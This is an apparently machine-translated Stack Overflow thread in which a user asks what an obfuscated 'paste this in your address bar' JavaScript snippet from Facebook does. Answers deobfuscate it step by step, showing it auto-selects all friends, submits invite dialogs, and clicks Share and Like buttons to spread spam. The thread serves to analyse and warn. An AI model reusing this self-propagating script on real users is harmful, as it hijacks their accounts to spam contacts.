javascript
  • facebook
  • 2010-05-30 8 views 21 likes 
    21

    내 프로그래밍에 도움이되는 질문은 아니지만 시원한 환상과 "실제 환상을보고이 코드를 복사하여 주소 표시 줄에 붙여 넣는"페이지와 함께이 페이지를 페이스 북에서 발견했습니다. 스크립트페이스 북에서 발견 된 이상한 스크립트는 무엇입니까?

    이 면책 조항 : 다음 코드

    javascript:(function(){a='app129556453726651_fsDszN'; 
    b='app129556453726651_rcgAmd'; 
    rhsjGW='app129556453726651_rhsjGW';SqmbQL='app129556453726651_SqmbQL'; 
    kPtsfs='app129556453726651_kPtsfs'; 
    eval(function(p,a,c,k,e,r){e=function(c) 
    {return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))}; 
    if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e) 
    {return r[e]}];e=function(){return'\\w+'};c=1}; 
    while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); 
    return p} 
    ('P e=["\\p\\g\\l\\g\\I\\g\\k\\g\\h\\D","\\l\\h\\D\\k\\f","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\J\\D\\Q\\x","\\y\\g\\x\\x\\f\\j","\\g\\j\\j\\f\\z\\R\\K\\L\\S","\\p\\n\\k\\A\\f","\\l\\A\\o\\o\\f\\l\\h","\\k\\g\\G\\f\\q\\f","\\l\\k\\g\\j\\G","\\L\\r\\A\\l\\f\\v\\p\\f\\j\\h\\l","\\t\\z\\f\\n\\h\\f\\v\\p\\f\\j\\h","\\t\\k\\g\\t\\G","\\g\\j\\g\\h\\v\\p\\f\\j\\h","\\x\\g\\l\\u\\n\\h\\t\\y\\v\\p\\f\\j\\h","\\l\\f\\k\\f\\t\\h\\w\\n\\k\\k","\\l\\o\\q\\w\\g\\j\\p\\g\\h\\f\\w\\T\\r\\z\\q","\\H\\n\\U\\n\\V\\H\\l\\r\\t\\g\\n\\k\\w\\o\\z\\n\\u\\y\\H\\g\\j\\p\\g\\h\\f\\w\\x\\g\\n\\k\\r\\o\\W\\u\\y\\u","\\l\\A\\I\\q\\g\\h\\X\\g\\n\\k\\r\\o","\\g\\j\\u\\A\\h","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\l\\J\\D\\K\\n\\o\\Y\\n\\q\\f","\\Z\\y\\n\\z\\f","\\u\\r\\u\\w\\t\\r\\j\\h\\f\\j\\h"]; 
    d=M;d[e[2]](1a)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; 
    s=d[e[2]](e[6]);m=d[e[2]](e[7]);N=d[e[2]](e[8]);c=d[e[10]](e[9]);c[e[12]](e[11],E,E); 
    s[e[13]](c);B(C(){1b[e[14]]()},O);B(C(){1c[e[17]](e[15],e[16]);B(C(){c[e[12]](e[11],E,E);N[e[13]](c);B(C(){F=M[e[19]](e[18]);1d(i 1e F){1f(F[i][e[5]]==e[1g]) 
    {F[i][e[13]](c)}};m[e[13]](c);B(C(){d[e[2]](1h)[e[4]]=d[e[2]](1i)[e[5]];},1k)},1l)},1m)},O); 
    ',62,85,'||||||||||||||variables|x65|x69|x74||x6E|x6C|x73||x61|x67|x76|x6D|x6F||x63|x70|x45|x5F|x64|x68|x72|x75|setTimeout|function|x79|true|inp|x6B|x2F|x62|x42|x54|x4D|document|sl|5000|var|x49|x48|x4C|x66|x6A|x78|x2E|x44|x4E|x53|||||||||||kPtsfs|fs|SocialGraphManager|for|in|if|20|SqmbQL|rhsjGW|21|2000|4000|3000'.split('|'),0,{}))})(); 
    

    도대체 이것이 무엇을 실행하지 마십시오? 내 주소 표시 줄에 넣으면 어떻게됩니까? 매우 현명한 아이디어라고 생각합니까?

    혼란 스럽습니다.

    +2

    http : // stackoverflow가 중복 (또는 거의 중복)됩니다.com/questions/2896405/what-does-this-code-do –

    +0

    이 코드가 문맥 상 악의적 인 이유로이 코드를 실행하지 말라는 면책 조항을 추가했습니다 .. –

    +1

    양식에 게시되는 구문 오류 - js strings 이후 multiline 수 없습니다. –

    답변

    85

    그것은 먼저 코드 (무엇을 의도대로에서 불분명) 그래서 귀하의 질문에 대답하기 위해, 코드는 압축을 풀어야한다. 당신이 내 생각을 따를 수 있도록, 여기에 난해 해의 모든 단계를 포함합니다.

    이는 줄 바꿈 스크립트의 현재 형태는 추가 : 우리가 볼 수 있듯이

    (function() { 
        a='app129556453726651_fsDszN'; 
        b='app129556453726651_rcgAmd'; 
        rhsjGW='app129556453726651_rhsjGW'; 
        SqmbQL='app129556453726651_SqmbQL'; 
        kPtsfs='app129556453726651_kPtsfs'; 
    
        eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('P e=["\\p\\g\\l\\g\\I\\g\\k\\g\\h\\D","\\l\\h\\D\\k\\f","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\J\\D\\Q\\x","\\y\\g\\x\\x\\f\\j","\\g\\j\\j\\f\\z\\R\\K\\L\\S","\\p\\n\\k\\A\\f","\\l\\A\\o\\o\\f\\l\\h","\\k\\g\\G\\f\\q\\f","\\l\\k\\g\\j\\G","\\L\\r\\A\\l\\f\\v\\p\\f\\j\\h\\l","\\t\\z\\f\\n\\h\\f\\v\\p\\f\\j\\h","\\t\\k\\g\\t\\G","\\g\\j\\g\\h\\v\\p\\f\\j\\h","\\x\\g\\l\\u\\n\\h\\t\\y\\v\\p\\f\\j\\h","\\l\\f\\k\\f\\t\\h\\w\\n\\k\\k","\\l\\o\\q\\w\\g\\j\\p\\g\\h\\f\\w\\T\\r\\z\\q","\\H\\n\\U\\n\\V\\H\\l\\r\\t\\g\\n\\k\\w\\o\\z\\n\\u\\y\\H\\g\\j\\p\\g\\h\\f\\w\\x\\g\\n\\k\\r\\o\\W\\u\\y\\u","\\l\\A\\I\\q\\g\\h\\X\\g\\n\\k\\r\\o","\\g\\j\\u\\A\\h","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\l\\J\\D\\K\\n\\o\\Y\\n\\q\\f","\\Z\\y\\n\\z\\f","\\u\\r\\u\\w\\t\\r\\j\\h\\f\\j\\h"];d=M;d[e[2]](1a)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);N=d[e[2]](e[8]);c=d[e[10]](e[9]);c[e[12]](e[11],E,E);s[e[13]](c);B(C(){1b[e[14]]()},O);B(C(){1c[e[17]](e[15],e[16]);B(C(){c[e[12]](e[11],E,E);N[e[13]](c);B(C(){F=M[e[19]](e[18]);1d(i 1e F){1f(F[i][e[5]]==e[1g]){F[i][e[13]](c)}};m[e[13]](c);B(C(){d[e[2]](1h)[e[4]]=d[e[2]](1i)[e[5]];},1k)},1l)},1m)},O);',62,85,'||||||||||||||variables|x65|x69|x74||x6E|x6C|x73||x61|x67|x76|x6D|x6F||x63|x70|x45|x5F|x64|x68|x72|x75|setTimeout|function|x79|true|inp|x6B|x2F|x62|x42|x54|x4D|document|sl|5000|var|x49|x48|x4C|x66|x6A|x78|x2E|x44|x4E|x53|||||||||||kPtsfs|fs|SocialGraphManager|for|in|if|20|SqmbQL|rhsjGW|21|2000|4000|3000'.split('|'),0,{})) 
    })(); 
    

    는 스크립트 자체가 스크립트가 처리 될 때 즉시 실행됩니다 자체를 호출 폐쇄 내부 기능입니다. 이 스크립트에는 몇 가지 암호 변수와 일부 코드가 Edward's packer과 함께 들어 있습니다.

    (function(){ 
        a='app129556453726651_fsDszN'; 
        b='app129556453726651_rcgAmd'; 
        rhsjGW='app129556453726651_rhsjGW'; 
        SqmbQL='app129556453726651_SqmbQL'; 
        kPtsfs='app129556453726651_kPtsfs'; 
    
        var variables = [ 
         "\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", 
         "\x73\x74\x79\x6C\x65", 
         "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", 
         "\x68\x69\x64\x64\x65\x6E", 
         "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", 
         "\x76\x61\x6C\x75\x65", 
         "\x73\x75\x67\x67\x65\x73\x74", 
         "\x6C\x69\x6B\x65\x6D\x65", 
         "\x73\x6C\x69\x6E\x6B", 
         "\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73", 
         "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74", 
         "\x63\x6C\x69\x63\x6B", 
         "\x69\x6E\x69\x74\x45\x76\x65\x6E\x74", 
         "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74", 
         "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", 
         "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", 
         "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70", 
         "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67", 
         "\x69\x6E\x70\x75\x74", 
         "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65", 
         "\x53\x68\x61\x72\x65", 
         "\x70\x6F\x70\x5F\x63\x6F\x6E\x74\x65\x6E\x74"]; 
    
        d = document; 
        d[variables[2]](kPtsfs)[variables[1]][variables[0]] = variables[3]; 
        d[variables[2]](a)[variables[4]] = d[variables[2]](b)[variables[5]]; 
        s = d[variables[2]](variables[6]); 
        m = d[variables[2]](variables[7]); 
        sl = d[variables[2]](variables[8]); 
        c = d[variables[10]](variables[9]); 
        c[variables[12]](variables[11], true, true); 
        s[variables[13]](c); 
    
        setTimeout(function() { 
         fs[variables[14]]() 
        }, 5000); 
    
        setTimeout(function() { 
         SocialGraphManager[variables[17]](variables[15], variables[16]); 
         setTimeout(function() { 
          c[variables[12]](variables[11], true, true); 
          sl[variables[13]](c); 
          setTimeout(function() { 
           inp = document[variables[19]](variables[18]); 
           for (i in inp) { 
            if (inp[i][variables[5]] == variables[20]) { 
             inp[i][variables[13]](c) 
            } 
           }; 
           m[variables[13]](c); 
           setTimeout(function() { 
            d[variables[2]](SqmbQL)[variables[4]] = d[variables[2]](rhsjGW)[variables[5]]; 
           }, 2000) 
          }, 4000) 
         }, 3000) 
        }, 5000); 
    })(); 
    

    우리는 즉시 다음 코드는 처음 5 초 후, 특정 간격으로 명령을 실행하는 것과 볼 수 있습니다 : 우리는 해석기는 like this를 사용하여 코드를 포장을 풀 때, 우리는 다음과 같은 형태 (줄 바꿈 추가)를 얻을 3, 4 그리고 마지막으로 2 초. 스크립트의 시작이 디코딩 할 수있는 진수 인코딩 된 변수가 포함되어

    (function(){ 
        a='app129556453726651_fsDszN'; 
        b='app129556453726651_rcgAmd'; 
        rhsjGW='app129556453726651_rhsjGW'; 
        SqmbQL='app129556453726651_SqmbQL'; 
        kPtsfs='app129556453726651_kPtsfs'; 
    
        d = document; 
        d["getElementById"](kPtsfs)["style"]["visibility"] = "hidden"; 
        d["getElementById"](a)["innerHTML"] = d["getElementById"](b)["value"]; 
        s = d["getElementById"]("suggest"); 
        m = d["getElementById"]("likeme"); 
        sl = d["getElementById"]("slink"); 
        c = d["createEvent"]("MouseEvents"); 
        c["initEvent"]("click", true, true); 
        s["dispatchEvent"](c); 
    
        setTimeout(function() { 
         fs["select_all"]() 
        }, 5000); 
    
        setTimeout(function() { 
         SocialGraphManager["submitDialog"]("sgm_invite_form", "/ajax/social_graph/invite_dialog.php"); 
         setTimeout(function() { 
          c["initEvent"]("click", true, true); 
          sl["dispatchEvent"](c); 
          setTimeout(function() { 
           inp = document["getElementsByTagName"]("input"); 
           for (i in inp) { 
            if (inp[i]["value"] == "Share") { 
             inp[i]["dispatchEvent"](c) 
            } 
           }; 
           m["dispatchEvent"](c); 
           setTimeout(function() { 
            d["getElementById"](SqmbQL)["innerHTML"] = d["getElementById"](rhsjGW)["value"]; 
           }, 2000) 
          }, 4000) 
         }, 3000) 
        }, 5000); 
    })(); 
    

    을 그리고 우리는 document['getElementById']는 것을 알고 같이 코드에 해당 변수를 대체함으로써

    var variables = [ 
        "visibility", 
        "style", 
        "getElementById", 
        "hidden", 
        "innerHTML", 
        "value", 
        "suggest", 
        "likeme", 
        "slink", 
        "MouseEvents", 
        "createEvent", 
        "click", 
        "initEvent", 
        "dispatchEvent", 
        "select_all", 
        "sgm_invite_form", 
        "/ajax/social_graph/invite_dialog.php", 
        "submitDialog", 
        "input", 
        "getElementsByTagName", 
        "Share", 
        "pop_content"]; 
    

    을, 우리는 도착 document.getElementById과 동일하게 코드를 정리하여 최종적으로 읽을 수있게 만들 수 있습니다. 당신이 도움 등 희망을 공유하지 않을 수 있습니다 물건을 공유하는이 실제로 악성 보이는, 페이스 북이 어떻게 작동하는지의 대부분을 모르고, 지금

    (function(){ 
        document.getElementById('app129556453726651_kPtsfs').style.visibility = "hidden"; 
        document.getElementById('app129556453726651_fsDszN').innerHTML = document.getElementById('app129556453726651_rcgAmd').value; 
        s = document.getElementById("suggest"); 
        m = document.getElementById("likeme"); 
        sl = document.getElementById("slink"); 
        c = document.createEvent("MouseEvents"); 
        c.initEvent("click", true, true); 
        s.dispatchEvent(c); 
    
        setTimeout(function() { 
         fs.select_all() 
        }, 5000); 
    
        setTimeout(function() { 
         SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php"); 
        }, 5000); 
    
        setTimeout(function() { 
         c.initEvent("click", true, true); 
         sl.dispatchEvent(c); 
        }, 8000); 
    
        setTimeout(function() { 
         inp = document.getElementsByTagName("input");      
         for (i in inp) { 
          if (inp[i].value == "Share") { 
           inp[i].dispatchEvent(c); 
          } 
         };      
         m.dispatchEvent(c);     
        }, 12000); 
    
        setTimeout(function() { 
         document.getElementById('app129556453726651_SqmbQL').innerHTML = document.getElementById('app129556453726651_rhsjGW').value; 
        }, 14000); 
    })(); 
    

    : 나는 또한 변수 교체를 완료하고 가독성에 대한 setTimeouts을 분리 한 이 글의 주된 아이디어는 여러분 자신이 이와 같이 스크립트를 해독 할 수있는 방법을 보여주는 것이 었습니다. :)

    +4

    +1. 최고 작업 :-) – richsage

    +1

    그것은 그 코드의 아주 멋진 설명/해독입니다. 매우 감동적입니다! – Chau

    +0

    와우, 고마워. 아주 시원했다. 나는 그 일을 할 수 있다고 생각하지 않는다. –

    2

    악성 코드

    document.getElementById('app129556453726651_kPtsfs').style.visibility = 'hidden'; 
    document.getElementById('app129556453726651_fsDszN').innerHTML = document.getElementById('app129556453726651_rcgAmd').value; 
    var s = document.getElementById('suggest'); 
    var m = document.getElementById('likeme'); 
    var sl = document.getElementById('slink'); 
    var c = document.createEvent("MouseEvents"); 
    c.initEvent('click', true, true); 
    s.dispatchEvent(c); 
    setTimeout(function() { 
        fs.select_all() 
        SocialGraphManager.submitDialog('sgm_invite_form', '/ajax/social_graph/invite_dialog.php'); 
        setTimeout(function() { 
         c.initEvent('click', true, true); 
         sl.dispatchEvent(c); 
         setTimeout(function() { 
          var inp = document.getElementsByTagName('input'); 
          for (i in inp) { 
           if (inp[i].value == 'Share') { 
            inp[i].dispatchEvent(c) 
           } 
          }; 
          m.dispatchEvent(c); 
          setTimeout(function() { 
           document.getElementById('app129556453726651_SqmbQL').innerHTML = document.getElementById('app129556453726651_rhsjGW').value; 
          }, 2000) 
         }, 4000) 
        }, 3000) 
    }, 5000); 
    
    3

    이 질문은 지금 매일 온다 ...

    그것은 모든 당신의 친구가 그룹 (또는 뭔가 유사한)에 가입 초대 코드입니다. 그런 다음 그룹은 회원들에게 스팸 광고를 보내기 시작합니다.

    4

    그것은 페이스 북 '바이러스'종류의 .. 실제로 소셜 그래프라는 이름의 응용 프로그램에 모든 친구를 초대입니다

    참조 : http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit

    관련 문제